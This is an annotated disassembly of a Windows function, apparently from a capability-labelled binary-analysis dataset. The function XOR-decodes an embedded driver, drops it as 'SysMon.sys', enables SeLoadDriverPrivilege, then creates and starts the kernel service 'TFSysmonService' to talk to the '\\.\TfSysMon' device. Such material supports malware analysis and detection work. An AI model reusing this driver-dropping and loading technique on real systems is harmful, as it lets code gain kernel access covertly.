Function at 0x140004cb0
Capabilities:
Create service
Encode data using xor
Start service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x14004b040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..TfSysMon
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
jbe 0x140005281
lea rcx, [0x140043938]
call fcn.14001d184
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], rdi
mov qword [rbp + 7], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140004d40
mov rdx, rax
lea rcx, [rbp - 0x11]
call fcn.14000bac0
nop
mov r8d, 0xb
lea rdx, str.SysMon.sys
lea rcx, [rbp - 0x11]
call fcn.140009a80
lea rdx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rdx, qword [rbp - 0x11]
mov r8, qword [rbp - 1]
lea rcx, [0x14005b940]
call fcn.14000d6e0
mov rcx, rax
lea rdx, [0x14004395c]
call fcn.14000af20
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f], xmm1
mov r8d, 0xf
lea rdx, str.TFSysmonService
lea rcx, [rbp + 0xf]
call fcn.14000bac0
nop
lea rbx, [rbp + 0xf]
cmp qword [rbp + 0x27], 0xf
cmova rbx, qword [rbp + 0xf]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rcx, rax
mov r8d, 0x14
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
jne 0x140005170
movdqa xmm6, xmmword [str.SSSSSSSSSSSSSSSS]
lea rbx, [0x14004bd90]
mov rax, rbx
mov esi, 0x3b0
mov ecx, esi
movdqu xmm0, xmmword [rax - 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
movdqu xmm0, xmmword [rax]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
lea rax, [rax + 0x40]
sub rcx, 1
jne 0x140004e12
mov r8d, 0xec00
lea rdx, [0x14004bd80]
lea rcx, [rbp - 0x11]
call fcn.140003d80
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rbx - 0x10]
xorps xmm0, xmm6
movdqu xmmword [rbx - 0x10], xmm0
movdqu xmm0, xmmword [rbx]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rbx], xmm1
movdqu xmm0, xmmword [rbx + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rbx + 0x10], xmm1
movdqu xmm0, xmmword [rbx + 0x20]
xorps xmm0, xmm6
movdqu xmmword [rbx + 0x20], xmm0
lea rbx, [rbx + 0x40]
sub rsi, 1
jne 0x140004e80
test al, al
je 0x140004edb
lea rdx, str.Driver_dropped_n
lea rcx, [0x14005b940]
call fcn.14000af20
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x29], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp - 0x39]
call fcn.14000bac0
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x19]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140004f3f
lea rdx, str.OpenProcessToken_failed
lea rcx, [0x14005bbf0]
call fcn.14000af20
mov rcx, rax
call fcn.14000b1d0
mov bl, 1
jmp 0x140004fc0
lea rdx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0xf
cmova rdx, qword [rbp - 0x39]
lea r8, [rbp + 0x33]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [rbp + 0x2f], 1
mov dword [rbp + 0x3b], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x2f]
xor edx, edx
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140004fb4
lea rdx, str.AdjustTokenPrivileges_failed
lea rcx, [0x14005bbf0]
call fcn.14000af20
mov rcx, rax
call fcn.14000b1d0
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
jmp 0x140004fc0
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp - 0x21]
cmp rdx, 0xf
jbe 0x140004ffb
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400052b1
call fcn.14000fa50
test bl, bl
je 0x14000501f
lea rdx, str.Failed_to_set_required_privileges
lea rcx, [0x14005bbf0]
call fcn.14000af20
mov rcx, rax
call fcn.14000b1d0
jmp 0x1400051fb
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x140005055
lea rdx, str.OpenSCManager_failed
lea rcx, [0x14005bbf0]
call fcn.14000af20
mov rcx, rax
call fcn.14000b1d0
jmp 0x140005130
lea r9, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova r9, qword [rbp - 0x11]
lea r8, [rbp + 0xf]
cmp qword [rbp + 0x27], 0xf
cmova r8, qword [rbp + 0xf]
lea rdx, [rbp + 0xf]
cmova rdx, qword [rbp + 0xf]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r9
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov r9d, 0xf01ff
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rsi, rax
test rax, rax
jne 0x1400050f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
je 0x1400050f1
lea rdx, str.CreateService_failed
lea rcx, [0x14005bbf0]
call fcn.14000af20
mov rcx, rax
call fcn.14000b1d0
jmp 0x140005127
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140005162
lea rdx, str.StartService_failed
lea rcx, [0x14005bbf0]
call fcn.14000af20
mov rcx, rax
call fcn.14000b1d0
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_create_and_start_service
lea rcx, [0x14005bbf0]
call fcn.14000af20
mov rcx, rax
mov edx, ebx
call fcn.140007b90
mov rcx, rax
call fcn.14000b1d0
jmp 0x1400051fb
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
jmp 0x1400051bd
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x1400051ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_start_service
lea rcx, [0x14005bbf0]
call fcn.14000af20
mov rcx, rax
mov edx, ebx
call fcn.140007b90
mov rcx, rax
call fcn.14000b1d0
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400051fb
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..TfSysMon
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
cmove rax, rdi
mov rdi, rax
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x140005236
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005231
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400052b7
call fcn.14000fa50
movdqa xmm0, xmmword [0x140044440]
movdqu xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0xf], 0
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x14000527e
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005279
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400052ab
call fcn.14000fa50
mov rax, rdi
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14000fa30
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.14001d020
nop
call fcn.14001d020
nop
call fcn.14001d020
int3